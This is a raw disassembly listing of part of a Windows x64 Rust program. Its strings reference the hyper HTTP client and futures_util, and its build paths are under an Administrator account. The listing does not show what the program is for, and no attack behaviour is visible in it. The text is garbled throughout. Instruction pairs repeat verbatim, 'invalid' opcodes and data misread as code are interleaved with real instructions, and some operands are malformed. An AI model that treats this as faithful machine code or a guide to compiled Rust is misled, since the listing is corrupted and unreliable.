movdqa xmm1, xmmword [rsp + 0x350]
movdqu xmmword [rax + 0x1b9], xmm1
movups xmmword [rax + 0x1a9], xmm0
mov byte [rax + 0x1d0], 3
mov edx, dword [rsp + 0xf8]
mov r8d, dword [rsp + 0xfb]
mov dword [rax + 0x1d4], r8d
mov dword [rax + 0x1d1], edx
mov rdx, qword [rsp + 0x1c8]
mov qword [rax + 0x1d8], rdx
mov byte [rax + 0x1e0], 0
mov edx, dword [rsp + 0xf0]
mov r8d, dword [rsp + 0xf3]
mov dword [rax + 0x1e4], r8d
mov dword [rax + 0x1e1], edx
lea r8, [0x140140878]
mov rdx, rax
mov rax, qword [rsp + 0x218]
sbb byte [rdx], al
add byte [rax], al
sbb byte [rdx], al
add byte [rax], al
call qword [rax + 0x18]
jmp 0x140077caa
mov eax, 1
lock xadd qword [0x140182050], rax
mov qword [rsp + 0xc00], rax
mov rax, qword [rsp + 0x38]
mov qword [rsp + 0x20f0], rax
mov qword [rsp + 0x20f8], 2
mov qword [rsp + 0x2100], r15
mov rax, qword [rsp + 0x430]
mov qword [rsp + 0x2158], rax
movaps xmm0, xmmword [rsp + 0x3e0]
movaps xmm1, xmmword [rsp + 0x3f0]
movaps xmm2, xmmword [rsp + 0x400]
movaps xmm3, xmmword [rsp + 0x410]
movups xmmword [rsp + 0x2108], xmm0
movups xmmword [rsp + 0x2118], xmm1
movups xmmword [rsp + 0x2128], xmm2
movups xmmword [rsp + 0x2138], xmm3
movaps xmm0, xmmword [rsp + 0x420]
movups xmmword [rsp + 0x2148], xmm0
mov qword [rsp + 0x2160], 0
mov rax, qword [rsp + 0xd8]
mov qword [rsp + 0x2168], rax
mov rax, qword [rsp + 0x1c0]
mov qword [rsp + 0x2170], rax
mov byte [rsp + 0x2178], 0
mov eax, dword [rsp + 0x10b]
mov dword [rsp + 0x217c], eax
mov eax, dword [rsp + 0x108]
mov dword [rsp + 0x2179], eax
mov qword [rsp + 0x2180], rdi
mov qword [rsp + 0x2188], r15
mov rax, qword [rsp + 0x238]
mov qword [rsp + 0x2190], rax
mov dword [rsp + 0x2190], eax
mov dword [rsp + 0x2190], eax
mov eax, dword [rsp + 0x98]
mov byte [rsp + 0x2198], al
mov byte [rsp + 0x219f], 0
mov word [rsp + 0x219d], 0
mov dword [rsp + 0x2199], 0
mov rax, qword [rsp + 0x1b8]
mov qword [rsp + 0x21a8], rax
mov rax, qword [rsp + 0xa8]
mov qword [rsp + 0x21b0], rax
mov byte [rsp + 0x21b8], r14b
mov rax, rbp
shr rax, 0x20
mov byte [rsp + 0x21bd], al
mov dword [rsp + 0x21b9], ebp
mov rax, qword [rsp + 0x58]
mov byte [rsp + 0x21be], al
mov rax, qword [rsp + 0x68]
mov eax, dword [rsp + 0x68]
mov eax, dword [rsp + 0x68]
mov byte [rsp + 0x21bf], al
mov rax, qword [rsp + 0x70]
mov byte [rsp + 0x21c0], al
mov rax, qword [rsp + 0x90]
mov byte [rsp + 0x21c1], al
mov eax, dword [rsp + 0x78]
mov byte [rsp + 0x21c2], al
mov eax, dword [rsp + 0x88]
mov byte [rsp + 0x21c3], al
mov rax, qword [rsp + 0x80]
mov dword [rsp + 0x21c4], eax
mov rax, qword [rsp + 0xb0]
mov qword [rsp + 0x21c8], rax
mov rax, qword [rsp + 0xe0]
mov qword [rsp + 0x21d0], rax
movaps xmm0, xmmword [rsp + 0x4b0]
movups xmmword [rsp + 0x21d8], xmm0
mov qword [rsp + 0x21e8], 0
mov qword [rsp + 0x21f0], 8
movaps xmm0, xmmword [rsp + 0x4a0]
movups xmmword [rsp + 0x21f8], xmm0
mov rcx, qword [rsp + 0x140]
mov qword [rsp + 0x2208], rcx
mov eax, dword [rsp + 0x50]
mov byte [rsp + 0x2210], al
mov eax, dword [rsp + 0x100]
mov dword [rsp + 0x2211], eax
mov eax, dword [rsp + 0x103]
mov dword [rsp + 0x2214], eax
mov eax, dword [rsp + 0x34]
mov byte [rsp + 0x2218], al
mov byte [rsp + 0x2219], 0
mov eax, dword [rsp + 0xc0]
mov dword [rsp + 0x221a], eax
movzx eax, word [rsp + 0xc4]
mov word [rsp + 0x221e], ax
mov rax, qword [rsp + 0x148]
mov qword [rsp + 0x2220], rax
mov qword [rsp + 0x2228], rcx
mov rax, qword [rsp + 0xa0]
mov qword [rsp + 0x2230], rax
mov rax, qword [rsp + 0x1d0]
mov qword [rsp + 0x2238], rax
mov rax, qword [rsp + 0xe8]
mov qword [rsp + 0x2240], rax
mov qword [rsp + 0x2248], 1
movaps xmm0, xmmword [rsp + 0x490]
movups xmmword [rsp + 0x2250], xmm0
mov qword [rsp + 0x2260], 1
add byte [rcx], al
add byte [rax], al
add byte [rsi - 0x39], ah
test byte [rax + rbp*2], ah
and al, byte [rax]
add byte [rax], al
add byte [rdi], cl
mov bh, 0x84
and al, 0xbc
add byte [rax], al
add byte [rax], al
add byte [rcx], al
add byte [rax], al
add byte [rsi - 0x39], ah
test byte [rax + rbp*2], ah
and al, byte [rax]
add byte [rax], al
add byte [rdi], cl
mov bh, 0x84
and al, 0xbc
add byte [rax], al
add byte [rax], al
mov word [rsp + 0x226e], ax
mov eax, dword [rsp + 0xb8]
add byte [rax], al
mov word [rsp + 0x226e], ax
mov eax, dword [rsp + 0xb8]
mov dword [rsp + 0x226a], eax
mov qword [rsp + 0x2270], 2
movaps xmm0, xmmword [rsp + 0x480]
movups xmmword [rsp + 0x2278], xmm0
mov qword [rsp + 0x2288], rsi
mov qword [rsp + 0x2290], rbx
mov byte [rsp + 0x2298], 0
mov rax, qword [rsp + 0x35f]
mov qword [rsp + 0x22b8], rax
movaps xmm0, xmmword [rsp + 0x340]
movdqa xmm1, xmmword [rsp + 0x350]
movdqu xmmword [rsp + 0x22a9], xmm1
movups xmmword [rsp + 0x2299], xmm0
mov byte [rsp + 0x22c0], 3
mov eax, dword [rsp + 0xfb]
mov dword [rsp + 0x22c4], eax
mov eax, dword [rsp + 0xf8]
mov dword [rsp + 0x22c1], eax
mov rax, qword [rsp + 0x1c8]
mov qword [rsp + 0x22c8], rax
mov byte [rsp + 0x22d0], 0
mov eax, dword [rsp + 0xf3]
mov dword [rsp + 0x22d4], eax
mov eax, dword [rsp + 0xf0]
mov dword [rsp + 0x22d1], eax
lea rax, [rsp + 0xc00]
mov qword [rsp + 0x22d8], rax
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
cmp eax, 1
je 0x1400779e6
test eax, eax
jne 0x140078c3c
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rsi, qword [rcx + rax*8]
lea rcx, [rsi + 0xd0]
lea rdx, [0x1400e42d0]
call fcn.1400d4a00
add dh, al
xchg byte [rax], ah
add dword [rax], eax
add byte [rcx], al
add dh, al
xchg byte [rax], ah
add dword [rax], eax
add byte [rcx], al
lea rcx, [rsp + 0x3090]
lea rdx, [rsp + 0x20f0]
mov r8d, 0x1f0
call fcn.140106250
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rsi, qword [rax + 0xd0]
movabs rax, 0x7ffffffffffffffe
invalid
invalid
invalid
invalid
invalid
invalid
jg 0x140077a6e
cmp esi, eax
ja 0x140078b30
lea rax, [rsi + 1]
mov ecx, dword [0x140182314]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
mov qword [rcx + 0xd0], rax
mov rbx, qword [rcx + 0xd8]
lea rcx, [rsp + 0x1150]
lea rdx, [rsp + 0x20f0]
mov r8d, 0x1f0
call fcn.140106250
cmp rbx, 2
je 0x140078b90
mov rax, qword [rsp + 0x1338]
mov rdi, qword [rax]
test rbx, rbx
je 0x140077b7d
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rbx, qword [rax + 0xe0]
lock inc qword [rbx]
jle 0x140078731
movzx eax, byte [0x140182310]
mov edx, 0x300
xor ecx, ecx
call fcn.1400dfbe0
test rax, rax
je 0x140078beb
mov r15, rax
and r15, 0xffffffffffffff80
lea rsi, [r15 + 0x80]
mov qword [r15 + 0x78], rax
lea r14, [rbx + 0x68]
mov qword [r15 + 0x80], 0xcc
mov qword [r15 + 0x88], 0
lea rax, [0x140140cd8]
mov qword [r15 + 0x90], rax
mov qword [r15 + 0x98], 0
mov qword [r15 + 0xa0], rbx
mov qword [r15 + 0xa8], rdi
lea rcx, [r15 + 0xb0]
lea rdx, [rsp + 0x3090]
mov r8d, 0x1e8
call fcn.140106250
xorps xmm0, xmm0
movups xmmword [r15 + 0x298], xmm0
mov qword [r15 + 0x2a8], 0
mov rcx, r14
mov rdx, rsi
mov r8, rsi
call fcn.1400654c0
test rax, rax
je 0x140077c75
add rbx, 0x10
mov rcx, rbx
mov rdx, rax
xor r8d, r8d
call fcn.1400ec5d0
jmp 0x140077c75
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rbx, qword [rax + 0xe0]
lock inc qword [rbx]
jle 0x140078731
movzx eax, byte [0x140182310]
mov edx, 0x300
xor ecx, ecx
call fcn.1400dfbe0
test rax, rax
je 0x140078beb
mov r14, rax
and r14, 0xffffffffffffff80
lea rsi, [r14 + 0x80]
mov qword [r14 + 0x78], rax
mov qword [r14 + 0x80], 0xcc
mov qword [r14 + 0x88], 0
lea rax, str.Pd_t_
mov qword [r14 + 0x90], rax
mov qword [r14 + 0x98], 0
mov qword [r14 + 0xa0], rbx
add rbx, 0x58
mov qword [r14 + 0xa8], rdi
lea rcx, [r14 + 0xb0]
lea rdx, [rsp + 0x3090]
mov r8d, 0x1e8
call fcn.140106250
xorps xmm0, xmm0
movups xmmword [r14 + 0x298], xmm0
mov qword [r14 + 0x2a8], 0
mov rcx, rbx
mov rdx, rsi
mov r8, rsi
call fcn.1400654c0
test rax, rax
je 0x140077c75
mov ecx, dword [0x140182314]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
mov rcx, qword [rcx + 0xe0]
mov rdx, rax
call fcn.1400eabe0
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
dec qword [rax + 0xd0]
mov ecx, 0x84
mov eax, 0xcc
lock cmpxchg qword [rsi], rcx
je 0x140077caa
mov rax, qword [rsi + 0x10]
mov rcx, rsi
call qword [rax + 0x20]
mov rax, qword [rsp + 0x48]
mov qword [r12 + 0x130], rax
movaps xmm0, xmmword [rsp + 0x660]
movups xmmword [r12 + 0x138], xmm0
lea rdi, [r12 + 0x148]
mov byte [r12 + 0x148], 0
lea rbx, [r12 + 0x118]
mov rax, qword [r12 + 0x140]
mov qword [rbx + 0x10], rax
movdqu xmm0, xmmword [r12 + 0x130]
add dword [rax], eax
add bl, dh
movq qword [rbx], mm0
add dword [rax], eax
add bl, dh
movq qword [rbx], mm0
cmp byte [r12 + 0x128], 2
je 0x140078967
mov rcx, qword [rbx]
mov rdx, qword [rsp + 0x228]
call fcn.140100320
cmp al, 2
je 0x140077d7d
movzx eax, al
test eax, eax
jne 0x140077d9b
mov byte [rdi], 3
mov al, 4
mov byte [r12 + 0x111], al
mov rax, qword [rsp + 0x220]
mov byte [rax + 0x70], 3
jmp 0x1400786d3
leave
call fcn.1400dfbe0
test rax, rax
je 0x1400788b7
mov rsi, rax
mov qword [rax], 0
mov byte [rax + 0x29], 2
mov byte [rax + 0x30], 5
cmp byte [r12 + 0x128], 2
mov bpl, 2
je 0x140077e94
mov rax, qword [rbx]
lock dec qword [rax]
jne 0x140077dec
mov rcx, qword [rbx]
call fcn.140037080
mov r14, qword [r12 + 0x120]
lock dec qword [r14 + 0x1c8]
jne 0x140077e81
lea rcx, [r14 + 0x80]
mov edx, 1
lock xadd qword [r14 + 0x88], rdx
call fcn.140065920
movabs rcx, 0x200000000
lock or qword [rax + 0x2310], rcx
mov rax, qword [r14 + 0x110]
nop word cs:[rax + rax]
mov rcx, rax
or rcx, 2
lock cmpxchg qword [r14 + 0x110], rcx
jne 0x140077e40
test rax, rax
jne 0x140077e81
mov rax, qword [r14 + 0x100]
mov rcx, qword [r14 + 0x108]
mov qword [r14 + 0x100], 0
mov dword [rsi + 0x100], 0
mov dword [rsi + 0x100], 0
lock and qword [r14 + 0x110], 0xfffffffffffffffd
test rax, rax
je 0x140077e81
call qword [rax + 8]
lock dec qword [r14]
jne 0x140077e94
mov rcx, qword [r12 + 0x120]
call fcn.140066d70
mov eax, dword [rsp + 0x1150]
mov ecx, dword [rsp + 0x1153]
mov dword [rsp + 0x3093], ecx
mov dword [rsp + 0x3090], eax
mov byte [rdi], 1
mov eax, dword [rsp + 0x3090]
mov ecx, dword [rsp + 0x3093]
mov dword [rsp + 0x1e8], eax
mov dword [rsp + 0x1eb], ecx
mov rcx, rbx
call fcn.140072060
cmp bpl, 2
jne 0x140077fbb
mov qword [rsp + 0x48], rsi
mov rax, qword [r12 + 0x68]
mov eax, dword [rsp + 0x68]
test rax, rax
je 0x140077f05
lock dec qword [rax]
jne 0x140077f05
mov rcx, qword [r12 + 0x68]
mov rdx, qword [r12 + 0x70]
call fcn.140005050
mov rax, qword [r12 + 0xf8]
test rax, rax
je 0x140077f2d
lock dec qword [rax]
jne 0x140077f2d
mov rcx, qword [r12 + 0xf8]
mov rdx, qword [r12 + 0x100]
call fcn.140005050
mov rax, qword [r12 + 0x108]
test rax, rax
je 0x140077f4d
lock dec qword [rax]
jne 0x140077f4d
lea rcx, [r12 + 0x108]
call fcn.140066500
lea rcx, [r12 + 0xc0]
call fcn.140071d30
mov rsi, qword [r12 + 0xa0]
test rsi, rsi
je 0x140077f98
mov rdi, qword [r12 + 0xa8]
mov rcx, rsi
call qword [rdi]
cmp qword [rdi + 8], 0
je 0x140077f98
cmp qword [rdi + 0x10], 0x11
jb 0x140077f86
mov rsi, qword [rsi - 8]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [r12 + 0xb0]
lock dec qword [rax]
mov sil, 2
jne 0x140077fb6
mov rcx, qword [r12 + 0xb0]
call fcn.14004f050
jmp 0x14007861c
mov dil, 2
cmp byte [r12 + 0x110], 0
jne 0x140077fe7
mov eax, dword [rsp + 0x1e8]
mov ecx, dword [rsp + 0x1eb]
mov dword [rsp + 0x113], ecx
mov dword [rsp + 0x110], eax
mov edi, ebp
lea r15, [r12 + 0x108]
mov rax, qword [r12 + 0xf0]
mov qword [rsp + 0x30c0], rax
movdqu xmm0, xmmword [r12 + 0xc0]
movdqu xmm1, xmmword [r12 + 0xd0]
movups xmm2, xmmword [r12 + 0xe0]
movaps xmmword [rsp + 0x30b0], xmm2
movdqa xmmword [rsp + 0x30a0], xmm1
movq qword [rsp + 0x30a0], mm1
movdqa xmmword [rsp + 0x3090], xmm0
mov r14, qword [r12 + 0xa0]
mov r8, qword [r12 + 0xa8]
mov rax, qword [r12 + 0xb0]
mov qword [rsp + 0x60], rax
movzx ebx, byte [r12 + 0xb8]
movzx r13d, byte [r12 + 0xb9]
lea rax, [r12 + 0xba]
movzx ecx, word [r12 + 0xbe]
mov word [rsp + 0x744], cx
mov ecx, dword [r12 + 0xba]
mov dword [rsp + 0x740], ecx
mov rbp, qword [r12 + 0x108]
test rbp, rbp
mov qword [rsp + 0x70], rsi
mov qword [rsp + 0x38], r15
je 0x1400780be
cmp dil, 2
jne 0x1400780f6
test r14, r14
je 0x14007812c
mov rcx, r14
mov r15, r8
call qword [r8 + 0x18]
mov r9, rax
jmp 0x140078132
mov ecx, dword [rsp + 0x110]
mov edx, dword [rsp + 0x113]
mov dword [rsp + 0x13b], edx
mov dword [rsp + 0x138], ecx
mov ecx, dword [rax]
mov dword [rsp + 0xd0], ecx
movzx eax, word [rax + 4]
mov word [rsp + 0xd4], ax
xor ebp, ebp
jmp 0x140078471
movzx ecx, word [rax + 4]
mov word [rsp + 0xc04], cx
mov eax, dword [rax]
mov dword [rsp + 0xc00], eax
mov eax, dword [rsp + 0x110]
mov ecx, dword [rsp + 0x113]
mov dword [rsp + 0x210], eax
mov dword [rsp + 0x213], ecx
mov ecx, r13d
jmp 0x14007818f
mov r15, r8
xor r9d, r9d
mov rax, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x60]
lock inc qword [rcx]
jle 0x140078731
lock inc qword [rsi]
jle 0x140078731
lock inc qword [rax + 0x1c8]
lock inc qword [rax]
jle 0x140078731
mov r8, r15
movzx eax, word [rsp + 0x744]
mov word [rsp + 0xc04], ax
mov eax, dword [rsp + 0x740]
mov dword [rsp + 0xc00], eax
mov cl, 2
cmp r13b, 2
jne 0x14007821d
movzx eax, word [rsp + 0xc04]
mov word [rsp + 0x1154], ax
mov eax, dword [rsp + 0xc00]
mov dword [rsp + 0x1150], eax
jmp 0x1400781b1
pause
mov rax, qword [rbp + 8]
nop word cs:[rax + rax]
cmp rax, 0xffffffffffffffff
je 0x1400781af
test rax, rax
js 0x14007893b
lea rdx, [rax + 1]
lock cmpxchg qword [rbp + 8], rdx
jne 0x1400781c0
mov eax, dword [rsp + 0x210]
mov edx, dword [rsp + 0x213]
mov dword [rsp + 0x13b], edx
mov dword [rsp + 0x138], eax
mov eax, dword [rsp + 0x1150]
mov dword [rsp + 0xd0], eax
movzx eax, word [rsp + 0x1154]
mov word [rsp + 0xd4], ax
mov r13d, ecx
jmp 0x140078471
mov qword [rsp + 0x1150], rsi
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x1158], rax
mov byte [rsp + 0x1160], 2
mov qword [rsp + 0x1168], r14
mov qword [rsp + 0x1170], r8
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x1178], rax
mov byte [rsp + 0x1180], bl
mov byte [rsp + 0x1181], r13b
mov eax, dword [rsp + 0x740]
mov dword [rsp + 0x1182], eax
movzx eax, word [rsp + 0x744]
mov word [rsp + 0x1186], ax
lea r14, [rbp + 0x10]
mov cl, 1
xor eax, eax
lock cmpxchg byte [rbp + 0x10], cl
mov qword [rsp + 0x48], r9
mov qword [rsp + 0x58], rdx
jne 0x140078772
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
jne 0x14007878d
xor eax, eax
movzx ecx, byte [rbp + 0x11]
test cl, cl
jne 0x1400787a0
movzx r15d, byte [rsp + 0x3090]
test r15d, r15d
mov qword [rsp + 0x68], r14
mov dword [rsp + 0x34], eax
je 0x140078398
cmp r15d, 2
jne 0x14007839a
movzx eax, byte [0x140182310]
mov edx, 0x20
xor ecx, ecx
call fcn.1400dfbe0
test rax, rax
je 0x140078c09
mov rcx, qword [rsp + 0x3098]
lea rdx, [rcx + 0x18]
mov r10, qword [rcx]
mov r8, qword [rcx + 8]
mov r9, qword [rcx + 0x10]
mov r14, rax
mov rcx, rax
call qword [r10]
mov rcx, r14
jmp 0x140078398
mov rcx, rsi
call fcn.1401101b0
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
je 0x140075d1a
call fcn.140110270
movzx ecx, byte [r15 + 0x11]
test cl, cl
jne 0x140078ce3
inc qword [r15 + 0x238]
test al, al
jne 0x140075d2e
jmp 0x140075d41
call fcn.140110270
test al, al
jne 0x140075d41
lea rcx, str.Uri_should_have_a_scheme
lea r8, [0x1401437c0]
mov edx, 0x18
call fcn.1401086b0
jmp 0x1400783a2
movzx eax, byte [rsp + 0x3091]
lea r14, [rbp + 0x18]
mov byte [rsp + 0x20f0], r15b
mov byte [rsp + 0x20f1], al
mov qword [rsp + 0x20f8], rcx
lea rcx, [rsp + 0x2100]
lea rdx, [rsp + 0x30b8]
mov rax, qword [rsp + 0x30a0]
mov r8, qword [rsp + 0x30a8]
mov r9, qword [rsp + 0x30b0]
call qword [rax]
lea rdx, [rsp + 0x20f0]
lea r8, [rsp + 0x1150]
mov rcx, r14
mov r9, qword [rsp + 0x38]
call fcn.14006e830
lea rdx, [rsp + 0x3090]
mov rcx, r14
call fcn.1400725d0
mov r8, qword [rsp + 0x30c0]
lea rax, [r8 + 1]
cmp rax, 2
jae 0x140078712
mov qword [rsp + 0x30c0], 0
cmp byte [rsp + 0x34], 0
mov rcx, qword [rsp + 0x68]
jne 0x140078455
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
jne 0x1400787db
xor ebp, ebp
xor eax, eax
xchg byte [rcx], al
cmp al, 2
jne 0x140078467
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
xor ebp, ebp
mov r14, qword [rsp + 0x48]
mov r8, qword [rsp + 0x58]
movzx esi, byte [rsp + 0x3090]
test esi, esi
mov qword [rsp + 0x58], r8
je 0x1400784c5
cmp esi, 2
jne 0x1400784c7
movzx eax, byte [0x140182310]
mov edx, 0x20
xor ecx, ecx
call fcn.1400dfbe0
test rax, rax
je 0x140078c09
mov r15, rax
mov rax, qword [rsp + 0x3098]
lea rdx, [rax + 0x18]
mov r10, qword [rax]
mov r8, qword [rax + 8]
mov r9, qword [rax + 0x10]
mov rcx, r15
call qword [r10]
jmp 0x1400784c5
jmp 0x1400784cf
movzx eax, byte [rsp + 0x3091]
mov byte [rsp + 0x20f0], sil
mov byte [rsp + 0x20f1], al
mov qword [rsp + 0x20f8], r15
lea rcx, [rsp + 0x2100]
lea rdx, [rsp + 0x30b8]
mov rax, qword [rsp + 0x30a0]
mov r8, qword [rsp + 0x30a8]
mov r9, qword [rsp + 0x30b0]
call qword [rax]
mov eax, dword [rsp + 0x138]
mov ecx, dword [rsp + 0x13b]
mov dword [rsp + 0x11b], ecx
mov dword [rsp + 0x118], eax
mov eax, dword [rsp + 0xd0]
mov dword [rsp + 0xc8], eax
movzx eax, word [rsp + 0xd4]
mov word [rsp + 0xcc], ax
mov rax, qword [rsp + 0x20f0]
mov qword [rsp + 0x48], rax
movups xmm0, xmmword [rsp + 0x20f8]
movaps xmmword [rsp + 0x370], xmm0
movups xmm0, xmmword [rsp + 0x2108]
movaps xmmword [rsp + 0x380], xmm0
mov rax, qword [rsp + 0x2118]
test byte [rax + rbx], ah
and dword [rax], eax
add byte [rax - 0x77], cl
test byte [rax + rdx*4], ah
add eax, dword [rax]
add byte [rax - 0x73], cl
mov word [rax + rdx*4], fs
xor byte [rax], al
add byte [rax], al
test byte [rax + rbx], ah
and dword [rax], eax
add byte [rax - 0x77], cl
test byte [rax + rdx*4], ah
add eax, dword [rax]
add byte [rax - 0x73], cl
mov word [rax + rdx*4], fs
xor byte [rax], al
add byte [rax], al
invalid
pushfq
xchg edi, eax
invalid
add byte [rax], al
call fcn.140071d30
mov rax, qword [r12 + 0x68]
test rax, rax
je 0x1400785b3
lock dec qword [rax]
jne 0x1400785b3
or byte [rbp + 0xf], dh
mov rcx, qword [r12 + 0x68]
mov rdx, qword [r12 + 0x70]
call fcn.140005050
mov rax, qword [r12 + 0xf8]
test rax, rax
mov rsi, qword [rsp + 0x70]
mov r15, qword [rsp + 0x38]
je 0x1400785e5
lock dec qword [rax]
jne 0x1400785e5
mov rcx, qword [r12 + 0xf8]
mov rdx, qword [r12 + 0x100]
call fcn.140005050
mov rax, qword [r15]
movq xmm0, qword [rsp + 0x50]
movq xmm6, rsi
punpcklqdq xmm6, xmm0
movq xmm0, qword [rsp + 0x60]
movq xmm7, qword [rsp + 0x58]
and al, 0x58
and al, 0x58
punpcklqdq xmm7, xmm0
test rax, rax
je 0x14007861a
lock dec qword [rax]
jne 0x14007861a
mov rcx, r15
call fcn.140066500
invalid
push qword [rcx]
test byte [rax - 0x75], 0x54
and al, 0x40
xor esi, esi
mov rdx, qword [rsp + 0x40]
mov byte [r12 + 0x111], 1
mov r12, qword [rsp + 0x48]
mov rcx, rdx
mov r15, rdx
call fcn.140064840
mov qword [r15], 4
mov rdx, qword [rsp + 0x220]
mov qword [rdx], r12
movdqa xmm0, xmmword [rsp + 0x370]
jo 0x140078656
add byte [rax], al
jo 0x140078656
add byte [rax], al
movdqa xmm1, xmmword [rsp + 0x380]
movq mm1, qword [rsp + 0x380]
movdqu xmmword [rdx + 8], xmm0
movdqu xmmword [rdx + 0x18], xmm1
or bl, sil
movq qword [rdx + 0x18], mm1
mov rax, qword [rsp + 0x390]
mov qword [rdx + 0x28], rax
mov dword [rdx + 0x28], eax
mov dword [rdx + 0x28], eax
movdqu xmmword [rdx + 0x30], xmm6
mov byte [rdx + 0x40], dil
mov eax, dword [rsp + 0x118]
add dword [rax], eax
add byte [rbx + 0x11b248c], cl
add byte [rax], al
add dword [rax], eax
add byte [rbx + 0x11b248c], cl
add byte [rax], al
mov dword [rdx + 0x41], eax
mov dword [rdx + 0x44], ecx
mov qword [rdx + 0x48], r14
movdqu xmmword [rdx + 0x50], xmm7
mov byte [rdx + 0x60], bl
mov byte [rdx + 0x61], r13b
mov eax, dword [rsp + 0xc8]
mov dword [rdx + 0x62], eax
movzx eax, word [rsp + 0xcc]
add byte [rax], al
add byte [rax], al
mov word [rdx + 0x66], ax
mov qword [rdx + 0x68], rbp
mov byte [rdx + 0x70], sil
mov eax, dword [rsp + 0x1d8]
mov ecx, dword [rsp + 0x1db]
mov dword [rdx + 0x71], eax
mov dword [rdx + 0x74], ecx
movaps xmm6, xmmword [rsp + 0x46d0]
movaps xmm7, xmmword [rsp + 0x46e0]
movaps xmm8, xmmword [rsp + 0x46f0]
movaps xmm9, xmmword [rsp + 0x4700]
add byte [rdi], al
add byte [rdi + rcx + 0x28], al
xchg esp, eax
and al, 0x10
add byte [r8], r8b
add byte [rdi], al
add byte [rdi + rcx + 0x28], al
xchg esp, eax
and al, 0x10
add byte [r8], r8b
add rsp, 0x4728
pop rbx
pop rbp
sub byte [rdi], al
add byte [rbx + 0x5d], bl
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lock dec qword [r8 + 8]
jne 0x14007842a
mov rcx, qword [0x140182260]
wait
adc byte [rax], al
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x14007842a
ud2
lea rcx, str.internal_error:_entered_unreachable_code_rustc_c987ad527540e8f1565f57c31204bde33f63df76library_std_src_threadmod.rs
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_src_serviceoneshot.rs
mov edx, 0x28
call fcn.140108350
lea rcx, str.internal_error:_entered_unreachable_code_rustc_c987ad527540e8f1565f57c31204bde33f63df76library_std_src_threadmod.rs
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_src_serviceoneshot.rs
mov edx, 0x28
call fcn.140108350
mov ecx, 8
mov edx, 0x538
call fcn.140107fe0
mov rcx, r14
call fcn.1401101b0
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
je 0x1400782b4
call fcn.140110270
xor al, 1
movzx ecx, byte [rbp + 0x11]
test cl, cl
je 0x1400782c2
mov qword [rsp + 0x20f0], r14
mov byte [rsp + 0x20f8], al
lea rax, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srcclientpool.rs
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x14013ed48]
lea r8, [rsp + 0x20f0]
mov edx, 0x2b
call fcn.140108600
mov r14, rcx
call fcn.140110270
mov rcx, r14
test al, al
jne 0x140078455
mov byte [rbp + 0x11], 1
jmp 0x140078455
mov ecx, 8
mov edx, 0x4cf8
call fcn.140107fe0
lea r8, str.librarycore_src_netparser.rs
mov ecx, 8
mov edx, 7
call fcn.140108340
and al, 0xfb
or byte [rax], al
and al, 0xfb
or byte [rax], al
lea rax, str.librarycore_src_netparser.rs
mov edx, 7
mov rcx, r8
mov r8, rax
mov eax, eax
mov eax, eax
call fcn.140108340
lea r8, str.librarycore_src_netparser.rs
mov edx, 8
call fcn.140108530
in al, dx
cld
or byte [rax], al
in al, dx
cld
or byte [rax], al
lea rcx, str.Map_must_not_be_polled_after_it_returned__Poll::Ready_
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_futures_util_0.3.30_src_future_futuremap.rs8
mov edx, 0x36
call fcn.14010cf20
lea rcx, str.TryFlatten_polled_after_completionC:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_futures_util_0.3.30_src_future_try_future_try_flatten.rs
lea r8, [0x14013d798]
mov edx, 0x22
call fcn.14010cf20
mov rax, qword [rsp + 0x40]
mov qword [rax], 2
lea rcx, str.internal_error:_entered_unreachable_code_rustc_c987ad527540e8f1565f57c31204bde33f63df76library_std_src_threadmod.rs
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_futures_util_0.3.30_src_future_futuremap.rs8
mov edx, 0x28
call fcn.140108350
mov qword [rsi], 4
lea rcx, str.internal_error:_entered_unreachable_code_rustc_c987ad527540e8f1565f57c31204bde33f63df76library_std_src_threadmod.rs
lea ecx, str.internal_error:_entered_unreachable_code_rustc_c987ad527540e8f1565f57c31204bde33f63df76library_std_src_threadmod.rs
lea ecx, str.internal_error:_entered_unreachable_code_rustc_c987ad527540e8f1565f57c31204bde33f63df76library_std_src_threadmod.rs
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_futures_util_0.3.30_src_future_futuremap.rs8
mov edx, 0x28
call fcn.140108350
mov ecx, 8
or byte [rax], al
add byte [rax], al
mov edx, 0x38
call fcn.140107fe0
mov ecx, 8
mov edx, 0x440
call fcn.140107fe0
mov ecx, 8
mov edx, 0x28
call fcn.140107fe0
mov ecx, 8
mov edx, 0x18
call fcn.140107fe0
test byte [rax], 0
test byte [rax], 0
lea rax, str.mid___len
mov qword [rsp + 0x1150], rax
add byte [rax], al
add byte [rax], al
